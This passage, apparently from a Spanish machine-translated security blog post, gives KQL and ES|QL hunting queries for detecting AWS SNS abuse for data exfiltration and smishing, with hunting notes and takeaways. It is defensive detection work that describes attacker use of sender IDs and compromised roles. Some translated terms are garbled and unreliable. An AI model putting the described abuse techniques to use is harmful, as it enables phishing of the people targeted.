Identifica cuándo se publica un mensaje en un tema SNS desde un ARN de identidad de usuario inusual en AWS. Si la política de roles o licencias no practica PoLP, es posible que se permita publicar en temas de SNS y, por lo tanto, se haga un uso indebido de ello. Por ejemplo, roles predeterminados suministrados a través de AWS Marketplace que permiten publicar en temas de SNS. También puede identificar entidades fraudulentas que alguna vez presionaron a temas de SNS pero que ya no son objeto de abuso si las credenciales se ven comprometidas. Tenga en cuenta que esto se centra únicamente en las instancias EC2, pero puede ajustarlo para tener en cuenta diferentes anomalías de publicación según el origen, la región, el agente de usuario y más.

Nuestra consulta aprovecha KQL y el tipo de regla Nuevos términos para centrar en las subscripciones que especifican una dirección de email. Lamentablemente, CloudTrail redacta la dirección de email suscrita, ya que sería un recurso vital para la investigación.

event.dataset: "aws.cloudtrail"
    and event.provider: "sns.amazonaws.com"
    and event.action: "Publish"
    and aws.cloudtrail.user_identity.type: "AssumedRole"
    and aws.cloudtrail.user_identity.arn: *i-*

Nuevo valor de términos: aws.cloudtrail.user_identity.arn

Consulta de búsqueda (ES|QL)

Nuestra consulta de búsqueda aprovecha ES|QL y también se centra en los registros de SNS donde la acción de API es Publicar. Esto solo se activa si el tipo de identidad del usuario es un rol asumido y el ARN de identidad del usuario es un ID de instancia EC2. La agregación por ID de cuenta, entidad, rol asumido, tema de SNS y región nos ayuda a identificar otras anomalías en función de la expectativa de esta actividad. También podemos aprovechar el agente de usuario para identificar estas llamadas realizadas por herramientas o software inusuales.

from logs-aws.cloudtrail-*
| where @timestamp > now() - 7 day
| WHERE
    event.dataset == "aws.cloudtrail" AND
    event.provider == "sns.amazonaws.com" AND
    event.action == "Publish"
    and aws.cloudtrail.user_identity.type == "AssumedRole"
| DISSECT aws.cloudtrail.request_parameters "{%{?message_key}=%{message}, %{?topic_key}=%{topic_arn}}"
| DISSECT aws.cloudtrail.user_identity.arn "%{?}:assumed-role/%{assumed_role_name}/%{entity}"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| WHERE STARTS_WITH(entity, "i-")
| STATS regional_topic_publish_count = COUNT(*) by cloud.account.id, entity, assumed_role_name, topic_arn, cloud.region, user_agent_name
| SORT regional_topic_publish_count ASC

Notas de caza:

• Si una clave de acceso de identidad de usuario (aws.cloudtrail.user_identity.access_key_id) existe en el registro de auditoría de CloudTrail, entonces esta solicitud se realizó a través de la CLI o programáticamente. Estas claves podrían estar comprometidas y justificar una mayor investigación.
• Si observa Terraform, Pulumi, etc., puede estar relacionado con entornos de prueba, mantenimiento o más.
• Los SDK de Python que no son de AWS pueden indicar que se están empleando herramientas o scripts personalizados.

Aumento de la mensajería directa al teléfono en redes sociales

Fuente de consulta de caza
AJUSTE DE INGLETRO Y CUCHILLA: T1660

Nuestros esfuerzos de búsqueda de una supuesta vulneración de SNS (donde un adversario lleva a cabo campañas de phishing [smishing]) se centran en las acciones de publicación de API en AWS SNS. Específicamente, rastreamos las instancias en las que phoneNumber está presente en los parámetros de solicitud, lo que indica que los mensajes se envían directamente a los números de teléfono en lugar de a través de un tema de SNS.

En individuo, en lugar de confiar en temas de redes sociales con números previamente suscritos, el adversario explota las licencias de mensajería de punto final de producción de una organización, aprovechando:

• Un ID de originación aprobado (si la organización registró uno).
• Un ID de remitente (si el adversario controla uno o puede falsificar un identificador confiable).
• Códigos largos o cortos de AWS (que pueden asignar dinámicamente).

Dado que AWS SNS desinfecta los registros, los números de teléfono no son visibles en CloudTrail, pero un análisis más profundo en CloudWatch o en herramientas de monitoreo de terceros puede ayudar.

Consulta de búsqueda (ES|QL)

Esta consulta detecta un pico en los mensajes SNS directos, lo que puede indicar campañas de smishing desde cuentas de AWS comprometidas.

from logs-aws.cloudtrail-*
| WHERE @timestamp > now() - 7 day
| EVAL target_time_window = DATE_TRUNC(10 seconds, @timestamp)
| WHERE
    event.dataset == "aws.cloudtrail" AND
    event.provider == "sns.amazonaws.com" AND
    event.action == "Publish" AND
    event.outcome == "success" AND
    aws.cloudtrail.request_parameters LIKE "*phoneNumber*"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| STATS sms_message_count = COUNT(*) by target_time_window, cloud.account.id, aws.cloudtrail.user_identity.arn, cloud.region, source.address, user_agent_name
| WHERE sms_message_count > 30

Notas de caza:

• AWS elimina los números de teléfono de los registros, por lo que puede ser necesario un análisis más profundo a través de los registros de CloudWatch.
• Al investigar en CloudWatch, también se desinfecta el contexto del mensaje. Sería ideal investigar el mensaje para detectar cualquier enlace URL sospechoso incluido en los mensajes de texto.
• También puede revisar los registros de entrega de AWS SNS (si están habilitados) para obtener metadatos de los mensajes.
• Si los mensajes no emplean una subscripción basada en temas, se sugiere una segmentación directa.
• La fuente de estas solicitudes es importante. Si las observa desde una instancia EC2, es bastante extraño o Lambda puede ser un código sin servidor esperado.

Comida para llevar

Gracias por tomar el tiempo de leer esta publicación sobre Abuso de AWS SNS: exfiltración de datos y phishing. Esperamos que esta investigación proporcione información valiosa sobre cómo los adversarios pueden aprovechar AWS SNS para campañas de exfiltración de datos, smishing y phishing, así como estrategias prácticas de detección y búsqueda para contrarrestar estas amenazas.

Puntos clave:

• AWS SNS es un servicio poderoso, pero puede usar indebidamente con fines maliciosos, incluido el phishing (smishing) y la exfiltración de datos.
• Los adversarios pueden abusar de las licencias de SNS de producción empleando identificaciones de remitente preaprobadas, identificaciones de origen o códigos largos o cortos para enviar mensajes fuera de una organización.
• Los actores de amenazas pueden emplear configuraciones erróneas en las políticas de IAM, brechas de registro de CloudTrail y limitaciones de la API de SNS para pasar desapercibidos.
• Aunque no es frecuente que se informe sobre el abuso de las redes sociales en la naturaleza (ItW), estamos seguros de que su uso como arma y su explotación dirigida ya están ocurriendo o surgirán en algún momento.
• AWS CloudTrail no captura números de teléfono ni mensajes en los registros de SNS, lo que hace que el monitoreo de terceros de CloudWatch sea esencial para un análisis más profundo.
• Las consultas de búsqueda de amenazas pueden ayudar a detectar temas de SNS que se crean, se suscriben a ellos o reciben un pico en los mensajes directos, lo que indica un posible abuso.
• Las estrategias de detección incluyen el monitoreo de las acciones de la API de SNS, la identificación de picos de mensajes de SNS inusuales y el marcado de anomalías de fuentes EC2 o Lambda.
• Las medidas defensivas deben incluir el fortalecimiento de las políticas de IAM, el registro de CloudTrail y SNS, las detecciones basadas en anomalías y las mejores prácticas de seguridad recomendadas por AWS para reducir la superficie de ataque.

AWS SNS a menudo se pasa por alto en los debates sobre seguridad, pero como muestra esta investigación, presenta un vector de ataque viable para los adversarios si no se monitorear. Alentamos a los defensores a mantener proactivos, perfeccionar la lógica de detección e implementar controles de seguridad estables para mitigar estos riesgos y aumentar la postura de seguridad.

¡Gracias por leer y feliz caza!

Referencias

• https:\/\/www.sentinelone.com\/labs\/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud\/
• https:\/\/permiso.io\/blog\/s\/smishing-attack-on-aws-sms-new-phone-who-dis\/
• https://catalog.workshops.aws/build-sms-program/en-US